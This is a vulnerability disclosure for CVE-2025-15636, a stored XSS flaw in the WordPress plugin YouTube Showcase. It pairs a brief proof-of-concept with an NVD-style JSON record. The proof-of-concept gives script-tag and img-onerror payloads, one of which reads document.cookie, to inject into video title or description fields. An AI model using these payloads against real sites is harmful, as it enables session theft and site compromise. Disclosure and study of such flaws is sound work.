CVE-2025-15636

<!-- PoC for Stored XSS in YouTube Showcase --> <!-- Inject the following payload into a vulnerable input field (e.g., Video Title or Description) --> <script>alert('CVE-2025-15636 - Stored XSS');</script> <!-- Alternatively, using an image tag to bypass some filters --> <img src=x onerror=alert(document.cookie)>

{"cve": {"id": "CVE-2025-15636", "sourceIdentifier": "[email protected]", "published": "2026-04-15T17:17:00.437", "lastModified": "2026-04-23T15:22:54.550", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in emarket-design YouTube Showcase youtube-showcase allows Stored XSS.This issue affects YouTube Showcase: from n/a through <= 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/youtube-showcase/vulnerability/wordpress-youtube-showcase-plugin-3-5-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}